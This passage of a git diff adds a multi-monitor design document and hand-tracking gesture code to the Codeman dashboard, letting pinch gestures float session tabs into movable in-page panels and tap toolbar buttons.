+> - **Known caveats from the desk run:** dead band on a taller/offset external
+>   display (inherent to one spanning rect); superwide lens not selectable in the
+>   fresh span-window browser profile; 3-monitor works unchanged but dead-space +
+>   cursor-sensitivity caveats grow.
+
+---
+
+## Goal
+
+Pinch a Codeman session, drag it anywhere — including **across a second
+physical monitor** — drop it, and have it stay where you put it and stay
+grabbable again. The "fling a session onto the external display by gesture"
+end-goal from the BUILD_PLAN backlog, made real **without losing the ability to
+move a session after you've placed it.**
+
+## The root constraint (why this design, not the others)
+
+The hand only exists in **the one page that owns the camera**. Hand tracking,
+the cursor, and `document.elementFromPoint` hit-testing all live in that single
+document. **An OS window created by `window.open` is a sealed box that page
+cannot reach into** — no shared DOM, no shared cursor.
+
+> **Why detach broke movability.** Today `entry.ts` → `detach(id)` calls
+> `window.app.detachSession(id)`, which `window.open`s the session into its own
+> OS window. The instant it leaves the camera-owning page, the hand can never
+> touch it again. Detach-by-pinch *works*, but it's a one-way trip.
+
+**Rule:** anything you want to keep gesture-movable must stay inside **one
+page's DOM.** This design honors that with two composed pieces:
+
+- **A — In-page floating panels.** "Detach" pops a session into a free-floating,
+  absolutely-positioned element *in the same page* (not an OS window), so the
+  hand keeps control forever.
+- **C — One window spanning both monitors.** Run Codeman in a single window
+  stretched across both physical displays, so "drag across monitors" is just
+  "drag across the page," and the second monitor's pixels are actually used.
+
+Option **B** (one OS window per monitor + a distributed BroadcastChannel cursor
+protocol + cross-window session hand-off) was considered and deferred: it's the
+only path to *independent* per-monitor OS windows, but it's a much larger build
+and reintroduces the cross-window wall this design exists to avoid.
+
+---
+
+## Part A — In-page floating panels
+
+### Codeman already has the primitive
+
+`panels-ui.js` has a `.detached` "floating window": an absolutely-positioned
+`<div>` with `panel.style.top/left/width/height` and a drag handler
+(`setupMonitorDrag`) — **all in-page, no `window.open`.** The session-tab detach
+simply picked the wrong primitive (the OS-window one). Part A reuses the
+in-page one.
+
+### Concurrent session rendering — RESOLVED (2026-06-08): live floats are feasible now
+
+The main *dashboard view* renders **one active session at a time** (a single
+shared `this.terminal` opened into `#terminalContainer` in `terminal-ui.js:26`,
+swapped by `selectSession()`). But the page is **not** limited to one terminal —
+the PR #103 branch already ships **three independent in-page concurrent
+floating-content subsystems** we can reuse, so a live floating panel per session
+needs **no new Codeman rendering architecture**:
+
+1. **Teammate terminals** (`panels-ui.js` `teammateTerminals` Map +
+   `subagent-windows.js`). A `Map` of **concurrent live `new Terminal()`
+   instances**, each `terminal.open(body)`'d into a floating panel, bound to a
+   `sessionId` + tmux `paneTarget`, **seeded via REST** buffer fetch
+   (`/api/sessions/:id/teammate-pane-buffer/:pane`), **input via REST**
+   (`/api/sessions/:id/teammate-pane-input`), with lazy-mount (`_lazyPaneTarget`)
+   and `dispose()` cleanup. *This is option 2 already built and shipping.*
+2. **Log-viewer windows** (`panels-ui.js:2632`). Concurrent draggable floating
+   windows, each with its own `EventSource` **SSE stream** and lifecycle map —
+   proof of the generic "floating window + independent per-window stream"
+   pattern.
+3. **`/session/:id` solo route** (`server.ts:573`, `renderIndexHtml(soloId)`,
+   `text/event-stream` at `:633`). A full **standalone live session page** —
+   **iframe-able** — reusing the exact multi-client fan-out detach already
+   depends on. Solo mode deliberately **omits** the gesture overlay
+   (`server.ts:1010-1014`), so there's no nested-overlay problem.
+
+**The PTY multi-viewer fan-out is confirmed** (the brief's open "yes"): a session
+is addressable by multiple concurrent clients — the solo route, the teammate
+REST endpoints, and the on-tab pop-out all view the same live session.
+
+**Resolution:** skip the static-preview fallback. Build live floats directly,
+ranked by new-code cost:
+
+- **Primary — iframe the solo route.** `floatPanel(id)` =
+  `<div class="cg-float" data-id><iframe src="/session/:id"></iframe></div>`.
+  The iframe is a complete live session view (its own terminal + stream client);
+  the gesture layer moves the **div** and the iframe rides along. Lowest new
+  code; reuses proven fan-out; no terminal wiring. Trade-off: a full app shell
+  per float (heavier — fine for a few, watch memory at many).
+- **Richer alt — native teammate-style panel.** Mount a `new Terminal()` in the
+  float body, seed via the session buffer endpoint, feed via the teammate
+  stream. Native (no iframe), lighter per-float, same-document. Use if the
+  iframe feels heavy or you want tighter integration.
+
+Either way the hand only **places** the float; typing into it uses a keyboard
+(focus the iframe / native terminal) — consistent with "gesture places,
+keyboard types."
+
+### Gesture grammar (replaces the current detach path in `entry.ts`)
+
+The grab/drag/drop plumbing already exists; only the **drop action** changes.
+
+- **Grab** a `.session-tab[data-id]` (unchanged: `onGrab`, ghost-follow).
+- **Pull** past `DETACH_PULL_PX` to arm (unchanged: `grab.armed`).
+- **Drop while armed** → **no longer** `window.app.detachSession`. Instead spawn
+  an **in-page floating panel** for that session id at the drop point. New
+  method `floatPanel(id, x, y)` replacing `detach(id)`.
+- **Re-grab** a floating panel (new `PANEL_SELECTOR`, e.g. `.cg-float[data-id]`)
+  → move it; drop anywhere → it stays. This is the capability detach lost.
+- **Drop a panel back over the tab strip** (or a dock zone) → **re-dock**
+  (remove the float; session returns to a plain tab). Mirrors the `.detached` →
+  attach toggle Codeman already has.
+- **Keep `window.open` detach as a separate, deliberate verb** — e.g. a button,
+  or a distinct "throw up and off-screen" gesture — for intentionally parking a
+  session in its own OS window. It is *not* the default pinch action anymore.
+
+### `entry.ts` change surface
+
+- New state: `floats: Map<string, FloatingPanel>` (id → element + position),
+  parallel to the existing `grabs`/`taps` maps.
+- `onGrab`: extend hit-testing to also match `PANEL_SELECTOR`, so an existing
+  float can be re-grabbed (priority: panel over tab when overlapping).
+- `onDrop`: replace `if (grab.armed) this.detach(grab.id)` with
+  `this.floatPanel(...)`; add the panel re-dock branch.
+- `floatPanel(id, x, y)`: create/show the in-page panel (Part A option 1/2),
+  position it absolutely at the drop point. Idempotent per id (re-grab moves the
+  existing one, never duplicates).
+- Coordinate mapping is **already viewport-pixel based** (the click-through
+  surface maps cursor → viewport px), so it needs **no change** for spanning —
+  see Part C.
+
+---
+
+## Part C — One window spanning both monitors
+
+Once the Codeman window physically covers both displays, Part A's panels drag
+across the seam for free, because the gesture cursor is already in viewport
+pixels and the viewport now spans both monitors.
+
+### macOS setup (operational, near-zero code)
+
+1. **System Settings → Desktop & Dock → uncheck "Displays have separate
+   Spaces."** (Requires a logout/login.) This is what lets a single window
+   straddle two physical displays.
+2. Run Codeman **maximized, not fullscreen.** Browser fullscreen is *per
+   display* and will **not** span — use a maximized/borderless window dragged to
+   cover both monitors. (A kiosk/`--app` Chrome window sized to the union rect is
+   the cleanest.) **Automated by `scripts/span-codeman.sh`** — it reads the
+   display-union rect (Finder desktop bounds) and launches a **Brave-first**
+   Chromium-family `--app` window sized to it (fresh per-browser profile so the
+   geometry flags are honored; `BROWSER=` overrides — plain Chrome bounced on the
+   desk machine). One-click from the **Codeman header "multi-monitor" button**
+   (`POST /api/system/span-displays`, which spawns this script), or run it
+   directly. Step 1 + logout is still manual; the script warns if spanning isn't
+   active.
+3. Arrange the two monitors as a contiguous rectangle in Display settings so the
+   union has no vertical offset gap.
+
+### Coordinate model & the bezel seam
+
+- Enumerate displays with **`window.getScreenDetails()`** (Chrome, secure
+  context, `window-management` permission). Gives each screen's
+  `left/top/width/height/availLeft/...` in a **virtual-desktop coordinate
+  space** spanning all monitors.
+- Use it for **screen-edge snapping zones**: e.g. dropping a panel within the
+  right screen's bounds snaps it to fill that screen; the seam between the two
+  screens' rects is a "halt / boundary" zone the cursor crosses.
+- **Account for the bezel gap.** The two monitors are physically separated, but
+  the spanned window's pixels are contiguous — a panel dragged across the seam
+  visually jumps the bezel. Optional: add a dead-band at the seam x-coordinate
+  so a panel snaps to one side rather than straddling.
+- `getScreenDetails` is **only needed for snapping/zone logic**, not for basic
+  dragging — dragging works the moment the window spans. So Part C can ship in
+  two steps: (1) just span + free drag, (2) add `getScreenDetails` snapping.
+
+### Constraints to surface to the user
+
+- macOS-specific; the "separate Spaces" toggle is global and affects all apps.
+- Real fullscreen is unavailable (must run maximized).
+- A bezel-width discontinuity sits in the middle of the coordinate space.
+- `window-management` permission prompts once.
+
+---
+
+## Build phases
+
+1. ✅ **A-MVP — in-page live float, single monitor (DONE, `581fcf9`/`3e0447a`).**
+   `entry.ts` `floatSession(id, x, y)` spawns an **iframe of `/session/:id`** in a
+   `.cg-float` div (640×420) at the drop point; re-grab + move work (re-dock zone
+   still TBD). Movability restored — the live session rides inside the page. (The
+   method is named `floatSession`, not the design-sketch `floatPanel`.)
+2. ✅ **C-span — span the window (DONE, `063fd8f`/`59946b8`; validated at desk).**
+   macOS "separate Spaces" off + `scripts/span-codeman.sh` launches a maximized
+   `--app` window across the display union (Brave-first; `BROWSER=` override).
+   **Confirmed:** panels drag across the seam — viewport mapping held with zero
+   `entry.ts` change. Launchable one-click from the **Codeman header button** →
+   `POST /api/system/span-displays` (PR #103 `95b0035`), or by running the script.
+3. ⏳ **C-snap — screen-aware snapping (pending).** Add `getScreenDetails`; snap a
+   panel to the screen it's dropped on; add the seam dead-band.
+4. **A-alt (optional).** Swap the iframe float for a native teammate-style
+   `new Terminal()` panel if the iframe shell feels heavy or many floats strain
+   memory.
+
+## Open questions / verification before coding
+
+- [x] **Concurrent rendering — RESOLVED (2026-06-08).** A live session view
+  *can* be mounted into an arbitrary in-page container concurrently with the
+  main view. The PR #103 branch already ships it three ways (teammate terminals,
+  log-viewer SSE windows, the iframe-able `/session/:id` solo route); fan-out
+  confirmed. Primary path: iframe the solo route. See the resolved section above.
+- [ ] **Native-panel live feed (only if taking A-alt, not the iframe):** trace
+  the exact transport that pushes *continuous* teammate-pane output after the
+  REST buffer seed (`pendingData` flush source). The iframe path sidesteps this.
+- [ ] **`window.app.detachSession` location:** when wiring the *kept* OS-window
+  detach verb, note this method was **not found in PR #103 source** (only
+  server-side `detachSessionListeners`); it works at runtime, so confirm where
+  it's actually defined before extending it.
+- [ ] **Spanning feasibility on the actual desk setup** (monitor arrangement,
+  whether "separate Spaces" off is acceptable to the user globally).
+- [ ] **Re-dock target:** decide the re-dock gesture/zone (drop over tab strip
+  vs a dedicated dock region).
+
+## Touch-points summary
+
+| Layer | File | Change | Status |
+|-------|------|--------|--------|
+| Gesture consumer | `gesture-proto/src/codeman/entry.ts` | `detach()` → `floatSession()`; `floats` map; panel re-grab; (later) re-dock branch + `getScreenDetails` snapping | ✅ float+re-grab done (`581fcf9`/`3e0447a`); re-dock/snap pending |
+| Gesture core | `gesture-proto/src/gesture/*` | **none** — stays transport-agnostic | ✅ unchanged |
+| Codeman — launch | `src/web/routes/system-routes.ts`, `src/web/public/{index.html,panels-ui.js}`, `scripts/span-codeman.sh` | header button → `POST /api/system/span-displays` → spawn span script (bundled into repo) | ✅ PR #103 `95b0035` |
+| Codeman — caching | `src/web/server.ts` | `cacheBustAssets()` — `?v=<mtime>` on all same-origin `.js`/`.css` so frontend edits show on normal reload | ✅ PR #103 `b5ea711` |
+| Ops | macOS display settings + `scripts/span-codeman.sh` | "separate Spaces" off + re-login; Brave-first maximized spanning window | ✅ validated at desk |

packages/gesture-control/index.html

@@ -0,0 +1,208 @@
+<!doctype html>
+<html lang="en">
+  <head>
+    <meta charset="UTF-8" />
+    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+    <title>Codeman Gesture Control — Phase 4</title>
+    <style>
+      :root {
+        color-scheme: dark;
+        --bg: #0b0f17;
+        --panel: #131a26;
+        --ink: #e6edf3;
+        --muted: #94a3b8;
+        --accent: #38bdf8;
+      }
+      * { box-sizing: border-box; }
+      body {
+        margin: 0;
+        font-family: ui-sans-serif, system-ui, -apple-system, sans-serif;
+        background: var(--bg);
+        color: var(--ink);
+        min-height: 100vh;
+        display: flex;
+        flex-direction: column;
+        align-items: center;
+        gap: 1rem;
+        padding: 1.5rem;
+      }
+      h1 { font-size: 1.25rem; margin: 0; font-weight: 650; }
+      .sub { color: var(--muted); font-size: 0.85rem; margin: 0; }
+
+      .stage {
+        position: relative;
+        width: min(90vw, 960px);
+        aspect-ratio: 16 / 9;
+        background: #000;
+        border-radius: 12px;
+        overflow: hidden;
+        box-shadow: 0 10px 40px rgba(0, 0, 0, 0.5);
+      }
+      /* Fullscreen: fill the display so grab targets get big. Coord mapping
+         reads the stage rect each frame, so it adapts automatically. */
+      #stage:fullscreen,
+      #stage:-webkit-full-screen {
+        width: 100vw;
+        height: 100vh;
+        max-width: none;
+        aspect-ratio: auto;
+        border-radius: 0;
+      }
+      /* Mirror the camera so it reads like a, er, mirror. */
+      #cam {
+        position: absolute;
+        inset: 0;
+        width: 100%;
+        height: 100%;
+        object-fit: cover;
+        transform: scaleX(-1);
+      }
+      /* Overlay is NOT CSS-mirrored; overlay.ts mirrors coords itself.
+         z-index 2 keeps the cursor + skeleton drawn over the tab board. */
+      #overlay {
+        position: absolute;
+        inset: 0;
+        width: 100%;
+        height: 100%;
+        pointer-events: none;
+        z-index: 2;
+      }
+
+      /* Phase 3 tab board — overlays the video; gesture-driven, no mouse. */
+      #board {
+        position: absolute;
+        inset: 0;
+        display: flex;
+        gap: 12px;
+        padding: 12px;
+        pointer-events: none;
+        z-index: 1;
+      }
+      #board .column {
+        flex: 1;
+        min-width: 0;
+        display: flex;
+        flex-direction: column;
+        background: rgba(11, 15, 23, 0.55);
+        border: 1px solid #25324a;
+        border-radius: 10px;
+        backdrop-filter: blur(3px);
+        transition: border-color 0.1s, background 0.1s;
+      }
+      #board .column.col-hot {
+        border-color: var(--accent);
+        background: rgba(56, 189, 248, 0.18);
+      }
+      #board .column > header {
+        font-size: 0.78rem;
+        font-weight: 650;
+        color: var(--muted);
+        padding: 0.5rem 0.6rem;
+        border-bottom: 1px solid #25324a;
+      }
+      #board .tablist {
+        flex: 1;
+        padding: 0.5rem;
+        display: flex;
+        flex-direction: column;
+        gap: 0.4rem;
+        overflow: hidden;
+      }
+      #board .tab {
+        background: #1b2740;
+        border: 1px solid #2c3c5c;
+        border-radius: 8px;
+        padding: 0.85rem 0.7rem;
+        min-height: 3rem;
+        display: flex;
+        align-items: center;
+        font-size: 0.95rem;
+        font-weight: 550;
+        font-variant-numeric: tabular-nums;
+        box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);
+        transition: border-color 0.1s, transform 0.05s;
+      }
+      #board .tab.tab-hot {
+        border-color: var(--accent);
+        background: #22304d;
+      }
+      #board .tab.dragging {
+        position: absolute;
+        z-index: 5;
+        width: auto;
+        box-shadow: 0 12px 30px rgba(0, 0, 0, 0.55);
+        transform: scale(1.05);
+        opacity: 0.97;
+        border-color: #4ade80;
+      }
+
+      .controls { display: flex; gap: 0.75rem; align-items: center; }
+      button {
+        background: var(--accent);
+        color: #04222e;
+        border: 0;
+        border-radius: 8px;
+        padding: 0.55rem 1.1rem;
+        font-size: 0.95rem;
+        font-weight: 650;
+        cursor: pointer;
+      }
+      button:disabled { opacity: 0.4; cursor: not-allowed; }
+      button.ghost { background: var(--panel); color: var(--ink); }
+      select {
+        background: var(--panel);
+        color: var(--ink);
+        border: 1px solid #25324a;
+        border-radius: 8px;
+        padding: 0.5rem 0.75rem;
+        font-size: 0.9rem;
+        max-width: 16rem;
+      }
+      select:disabled { opacity: 0.4; cursor: not-allowed; }
+
+      .hud {
+        display: flex;
+        gap: 1.5rem;
+        background: var(--panel);
+        border-radius: 10px;
+        padding: 0.75rem 1.25rem;
+        font-variant-numeric: tabular-nums;
+        font-size: 0.9rem;
+      }
+      .hud .label { color: var(--muted); margin-right: 0.4rem; }
+      .hud b { font-weight: 650; }
+
+      #status-msg { color: var(--muted); font-size: 0.85rem; min-height: 1.2em; margin: 0; }
+    </style>
+  </head>
+  <body>
+    <h1>Codeman Gesture Control</h1>
+    <p class="sub">Phase 4 — pinch-drag tabs + discrete gesture commands. Camera feed never leaves this machine.</p>
+
+    <div class="stage" id="stage">
+      <video id="cam" autoplay muted playsinline></video>
+      <div id="board"></div>
+      <canvas id="overlay"></canvas>
+    </div>
+
+    <div class="controls">
+      <button id="start">Start camera</button>
+      <button id="stop" class="ghost" disabled>Stop</button>
+      <button id="fullscreen" class="ghost" title="Toggle fullscreen (Esc to exit)">⛶ Fullscreen</button>
+      <select id="camera" disabled title="Choose camera (populated after start)">
+        <option>Default camera</option>
+      </select>
+    </div>
+
+    <div class="hud">
+      <span><span class="label">FPS</span><b id="fps">0</b></span>
+      <span><span class="label">Hands</span><b id="hand">no</b></span>
+      <span><span class="label">Pinch</span><b id="pinch">—</b></span>
+      <span><span class="label">Gesture</span><b id="gesture">—</b></span>
+    </div>
+
+    <p id="status-msg">Click “Start camera” to begin (camera access requires a click).</p>
+
+    <script type="module" src="/src/main.ts"></script>
+  </body>
+</html>

packages/gesture-control/package.json

@@ -0,0 +1,28 @@
+{
+  "name": "codeman-gesture-control",
+  "private": true,
+  "version": "0.1.0",
+  "type": "module",
+  "description": "Jarvis-style hand-tracking input layer for the Codeman dashboard. Vendored into the Codeman repo; the Codeman bundle (src/codeman/entry.ts) is built into src/web/public/gesture/gesture-codeman.js by `npm run build:gesture` at the repo root.",
+  "scripts": {
+    "dev": "vite",
+    "preview": "vite preview",
+    "typecheck": "tsc --noEmit",
+    "build:demo": "tsc && vite build",
+    "build:codeman": "esbuild src/codeman/entry.ts --bundle --format=esm --target=es2020 --outfile=dist-codeman/gesture-codeman.js"
+  },
+  "dependencies": {
+    "@mediapipe/tasks-vision": "0.10.21"
+  },
+  "devDependencies": {
+    "esbuild": "^0.27.3",
+    "typescript": "^5.5.4",
+    "vite": "^7.3.5"
+  },
+  "homepage": "https://github.com/Ark0N/Codeman/tree/master/packages/gesture-control#readme",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/Ark0N/Codeman.git",
+    "directory": "packages/gesture-control"
+  }
+}

packages/gesture-control/src/codeman/entry.ts

@@ -0,0 +1,518 @@
+// Phase 5 — Codeman integration entry point.
+//
+// This is the *consumer* layer that replaces `demo/tabs.ts` for the real
+// Codeman dashboard. It is bundled (esbuild, MediaPipe included) into a single
+// ESM file and served by Codeman from `/gesture/gesture-codeman.js`, loaded into
+// the dashboard page when Codeman is started with `CODEMAN_GESTURE=1`.
+//
+// The gesture *core* (`../gesture/*`) is unchanged and transport-agnostic — it
+// emits coordinate-only `grab`/`drag`/`drop`. Here we map those onto Codeman's
+// real session tabs (`.session-tab[data-id]`) and toolbar buttons.
+//
+// Three interactions, all off the same pinch:
+//   • Tab "grab-to-float" — pinch a session tab, *pull it out* of the strip (a
+//     ghost follows your hand), release past a threshold → the session opens as
+//     an in-page floating panel at the drop point; a small twitch-and-release
+//     cancels (snaps back).
+//   • Panel "re-grab" — pinch an existing floating panel and move it anywhere;
+//     release over the tab strip to re-dock it (panel goes away, the tab stays).
+//     This is the capability the old OS-window detach lost.
+//   • Button "tap" — pinch over a toolbar button (Run / Run Shell) and release
+//     in place → fires the button's real click handler. Drift too far first and
+//     it's treated as a stray move, not a tap.
+//
+// Why in-page floats, not OS-window detach (decided 2026-06-08, see
+// docs/MULTIMONITOR_DESIGN.md): the hand only exists in the one page that owns
+// the camera. `window.open`/`detachSession` puts the session in a sealed OS
+// window the page can't hand-track — a detached session can never be moved
+// again, a one-way trip. A floating panel (an iframe of the session's solo
+// route `/session/:id`) stays in this page's DOM, so the hand keeps control:
+// re-grab, move across the (spanned) viewport, drop, re-dock. The OS-window
+// detach is kept for later as a *separate, deliberate* verb — no longer the pinch.
+
+import { GestureController } from '../gesture/GestureController.ts';
+import type { HandState } from '../gesture/types.ts';
+
+declare global {
+  interface Window {
+    __codemanGesture?: GestureBridge;
+  }
+}
+
+const TAB_SELECTOR = '.session-tab';
+/** An in-page floating session panel this layer spawned — re-grabbable to move. */
+const PANEL_SELECTOR = '.cg-float';
+/** The session-tab strip; dropping a moved panel over it re-docks the session. */
+const DOCK_SELECTOR = '.session-tabs';
+/** Toolbar buttons a pinch can "tap": Run (#runBtn → app.run()) and Run Shell
+ *  (.btn-shell → app.runShell()). Pinch over one and release in place to fire
+ *  it. Extend this list to expose more buttons to the gesture layer. */
+const CLICK_SELECTOR = '#runBtn, .btn-shell';
+const Z = 2147483000; // above the dashboard, below nothing that matters at the desk
+/** Floating-panel size (px). Fixed for the MVP; resize is a later affordance. */
+const FLOAT_W = 640;
+const FLOAT_H = 420;
+/** Minimum pull distance (px) from the grab point before a release floats the
+ *  tab out. Below this it's an accidental pinch and the tab snaps back. */
+const DETACH_PULL_PX = 70;
+/** If a button-pinch drifts more than this, it's a stray move, not a tap. */
+const TAP_CANCEL_PX = 45;
+
+/** First letter colours: cyan left, violet right; green while pinching. */
+const handColor = (handedness: string, pinching: boolean): string =>
+  pinching ? '#4ade80' : handedness === 'Right' ? '#a78bfa' : '#38bdf8';
+
+/** A floating in-page session panel (an iframe of `/session/:id`) the hand can
+ *  place and re-grab. Stays in this page's DOM, so it never leaves hand reach. */
+interface FloatingPanel {
+  id: string;
+  /** The `.cg-float` container element. */
+  el: HTMLElement;
+}
+
+/** Live state for one hand's in-progress grab — either a session *tab* being
+ *  pulled out into a new float, or an existing *panel* being moved/re-docked. */
+type Grab =
+  | {
+      kind: 'tab';
+      id: string;
+      tab: HTMLElement;
+      ghost: HTMLElement;
+      /** Grab origin in viewport px, to measure pull distance. */
+      ox: number;
+      oy: number;
+      /** Pulled past the float-out threshold at least once. */
+      armed: boolean;
+    }
+  | {
+      kind: 'panel';
+      id: string;
+      panel: FloatingPanel;
+      /** Cursor→panel-top-left offset at grab, so it doesn't snap when re-grabbed. */
+      dx: number;
+      dy: number;
+      /** Cursor currently over the tab strip → releasing re-docks. */
+      overDock: boolean;
+    };
+
+/** Live state for one hand pinching a toolbar button (Run / Run Shell). */
+interface Tap {
+  el: HTMLElement;
+  label: string;
+  ox: number;
+  oy: number;
+}
+
+class GestureBridge {
+  private readonly surface: HTMLDivElement;
+  private readonly canvas: HTMLCanvasElement;
+  private readonly ctx: CanvasRenderingContext2D;
+  private readonly video: HTMLVideoElement;
+  private readonly button: HTMLButtonElement;
+  private readonly camBtn: HTMLButtonElement;
+  private readonly status: HTMLSpanElement;
+  private readonly gc: GestureController;
+  private running = false;
+  /** Camera view: full-viewport dimmed background, or small corner preview. */
+  private camMode: 'full' | 'pip' = 'full';
+
+  /** Per-hand in-progress grab (a tab being pulled out, or a panel being moved). */
+  private grabs = new Map<string, Grab>();
+  /** Per-hand in-progress button pinch (fires on release if it didn't drift). */
+  private taps = new Map<string, Tap>();
+  /** Live floating panels, keyed by session id (idempotent per id). */
+  private floats = new Map<string, FloatingPanel>();
+
+  constructor() {
+    injectStyles();
+
+    // Full-viewport, click-through surface so coords map straight to viewport
+    // pixels and elementFromPoint() sees the tabs beneath, not our overlay.
+    this.surface = el('div', 'cg-surface') as HTMLDivElement;
+    this.canvas = el('canvas', 'cg-canvas') as HTMLCanvasElement;
+    this.video = el('video', 'cg-preview') as HTMLVideoElement;
+    this.video.muted = true;
+    this.video.playsInline = true;
+    this.applyCamMode();
+
+    const dock = el('div', 'cg-dock');
+    this.button = el('button', 'cg-btn') as HTMLButtonElement;
+    this.button.textContent = '🖐 Gesture';
+    this.camBtn = el('button', 'cg-btn cg-btn-icon') as HTMLButtonElement;
+    this.camBtn.textContent = '⛶';
+    this.camBtn.title = 'Toggle camera size (fullscreen / corner)';
+    this.status = el('span', 'cg-status') as HTMLSpanElement;
+    this.status.textContent = 'off';
+    dock.append(this.button, this.camBtn, this.status);
+
+    document.body.append(this.surface, this.video, this.canvas, dock);
+    this.ctx = this.canvas.getContext('2d')!;
+    this.sizeCanvas();
+    window.addEventListener('resize', () => this.sizeCanvas());
+
+    this.gc = new GestureController({
+      video: this.video,
+      surface: this.surface,
+      numHands: 1,
+      // Self-host the MediaPipe runtime + model from Codeman (same-origin) instead
+      // of the CDN, so an ad/content blocker, offline desk, or strict browser
+      // can't break startup (the CDN failure surfaced as `failed: {isTrusted}` —
+      // a resource load-error Event). Served from public/gesture/.
+      wasmBase: '/gesture/wasm',
+      modelUrl: '/gesture/gesture_recognizer.task',
+    });
+
+    this.gc.on('grab', (p) => this.onGrab(p.hand, p.x, p.y));
+    this.gc.on('drag', (p) => this.onDrag(p.hand, p.x, p.y));
+    this.gc.on('drop', (p) => this.onDrop(p.hand, p.x, p.y));
+    this.gc.on('status', ({ fps, hands }) => this.onStatus(fps, hands));
+
+    this.button.addEventListener('click', () => void this.toggle());
+    this.camBtn.addEventListener('click', () => this.toggleCamMode());
+  }
+
+  private async toggle(): Promise<void> {
+    if (this.running) {
+      this.gc.stop();
+      this.running = false;
+      this.cancelAllGrabs();
+      this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
+      this.button.classList.remove('on');
+      this.status.textContent = 'off';
+      return;
+    }
+    this.button.disabled = true;
+    this.status.textContent = 'starting…';
+    try {
+      await this.gc.start();
+      this.running = true;
+      this.button.classList.add('on');
+      this.status.textContent = 'on — pinch a tab or button';
+    } catch (err) {
+      // Surface the *real* cause: MediaPipe/Emscripten can throw a non-Error
+      // (number/string), so `(err as Error).message` was logging "undefined".
+      const msg = describeError(err);
+      this.status.textContent = `failed: ${msg}`;
+      this.status.title = msg;
+      console.error('[gesture] start failed', err);
+    } finally {
+      this.button.disabled = false;
+    }
+  }
+
+  private toggleCamMode(): void {
+    this.camMode = this.camMode === 'full' ? 'pip' : 'full';
+    this.applyCamMode();
+  }
+
+  private applyCamMode(): void {
+    this.video.classList.toggle('cg-full', this.camMode === 'full');
+    this.video.classList.toggle('cg-pip', this.camMode === 'pip');
+  }
+
+  /** Top-most element matching `sel` at a viewport point (overlays are
+   *  click-through, so elementFromPoint sees the dashboard beneath). */
+  private hitClosest(x: number, y: number, sel: string): HTMLElement | null {
+    const hit = document.elementFromPoint(x, y);
+    return (hit?.closest(sel) as HTMLElement | null) ?? null;
+  }
+
+  private onGrab(hand: string, x: number, y: number): void {
+    // An existing floating panel → re-grab to move it (priority over tabs).
+    // Make it click-through while held so elementFromPoint sees the dock zone
+    // (and other content) beneath it, and it can't re-grab itself.
+    const panelEl = this.hitClosest(x, y, PANEL_SELECTOR);
+    const panelId = panelEl?.dataset.id;
+    if (panelEl && panelId) {
+      const float = this.floats.get(panelId);
+      if (float) {
+        const rect = panelEl.getBoundingClientRect();
+        panelEl.style.pointerEvents = 'none';
+        panelEl.classList.add('cg-float-grabbed');
+        this.grabs.set(hand, {
+          kind: 'panel',
+          id: panelId,
+          panel: float,
+          dx: x - rect.left,
+          dy: y - rect.top,
+          overDock: false,
+        });
+        this.status.textContent = 'moving — drop over tabs to re-dock';
+        return;
+      }
+    }
+
+    // A session tab → grab-and-pull-out into a floating panel (ghost follows).
+    const tab = this.hitClosest(x, y, TAB_SELECTOR);
+    const id = tab?.dataset.id;
+    if (tab && id) {
+      const rect = tab.getBoundingClientRect();
+      const ghost = tab.cloneNode(true) as HTMLElement;
+      ghost.classList.add('cg-ghost');
+      ghost.removeAttribute('id');
+      ghost.style.width = `${rect.width}px`;
+      ghost.style.height = `${rect.height}px`;
+      document.body.append(ghost);
+
+      tab.classList.add('cg-grabbed');
+      this.grabs.set(hand, { kind: 'tab', id, tab, ghost, ox: x, oy: y, armed: false });
+      this.positionGhost(ghost, x, y);
+      return;
+    }
+
+    // A toolbar button (Run / Run Shell) → tap-to-fire on release.
+    const btn = this.hitClosest(x, y, CLICK_SELECTOR);
+    if (btn) {
+      const label = (btn.textContent || btn.getAttribute('title') || 'button').trim();
+      btn.classList.add('cg-tap-armed');
+      this.taps.set(hand, { el: btn, label, ox: x, oy: y });
+      this.status.textContent = `release to ${label.toLowerCase()}`;
+    }
+  }
+
+  private onDrag(hand: string, x: number, y: number): void {
+    const grab = this.grabs.get(hand);
+    if (grab?.kind === 'tab') {
+      this.positionGhost(grab.ghost, x, y);
+      const pulled = Math.hypot(x - grab.ox, y - grab.oy) >= DETACH_PULL_PX;
+      if (pulled !== grab.armed) {
+        grab.armed = pulled;
+        grab.ghost.classList.toggle('cg-armed', pulled);
+        this.status.textContent = pulled ? 'release to float out' : 'on — pinch a tab';
+      }
+      return;
+    }
+    if (grab?.kind === 'panel') {
+      this.moveFloat(grab.panel, x - grab.dx, y - grab.dy);
+      const overDock = !!this.hitClosest(x, y, DOCK_SELECTOR);
+      if (overDock !== grab.overDock) {
+        grab.overDock = overDock;
+        grab.panel.el.classList.toggle('cg-redock', overDock);
+        this.status.textContent = overDock ? 'release to re-dock' : 'moving panel';
+      }
+      return;
+    }
+    // A button pinch that drifts too far is a stray move, not a tap — cancel it.
+    const tap = this.taps.get(hand);
+    if (tap && Math.hypot(x - tap.ox, y - tap.oy) > TAP_CANCEL_PX) {
+      tap.el.classList.remove('cg-tap-armed');
+      this.taps.delete(hand);
+      this.status.textContent = 'on — pinch a tab or button';
+    }
+  }
+
+  private onDrop(hand: string, x: number, y: number): void {
+    const grab = this.grabs.get(hand);
+    if (grab?.kind === 'tab') {
+      this.grabs.delete(hand);
+      grab.ghost.remove();
+      grab.tab.classList.remove('cg-grabbed');
+      if (grab.armed) this.floatPanel(grab.id, x, y);
+      else this.flash('cancelled');
+      return;
+    }
+    if (grab?.kind === 'panel') {
+      this.grabs.delete(hand);
+      grab.panel.el.style.pointerEvents = ''; // interactive again (type into it)
+      grab.panel.el.classList.remove('cg-float-grabbed', 'cg-redock');
+      if (grab.overDock) this.redock(grab.id);
+      else this.flash('placed');
+      return;
+    }
+    // Release over the same button → fire its real click handler.
+    const tap = this.taps.get(hand);
+    if (tap) {
+      this.taps.delete(hand);
+      tap.el.classList.remove('cg-tap-armed');
+      tap.el.click(); // runs the button's onclick (app.run() / app.runShell())
+      this.flash(tap.label.toLowerCase());
+    }
+  }
+
+  /** Pop a session into an in-page floating panel (an iframe of its solo route)
+   *  centered on the drop point. Unlike OS-window detach, the panel lives in
+   *  this page's DOM, so the hand can re-grab and move it. Idempotent per id:
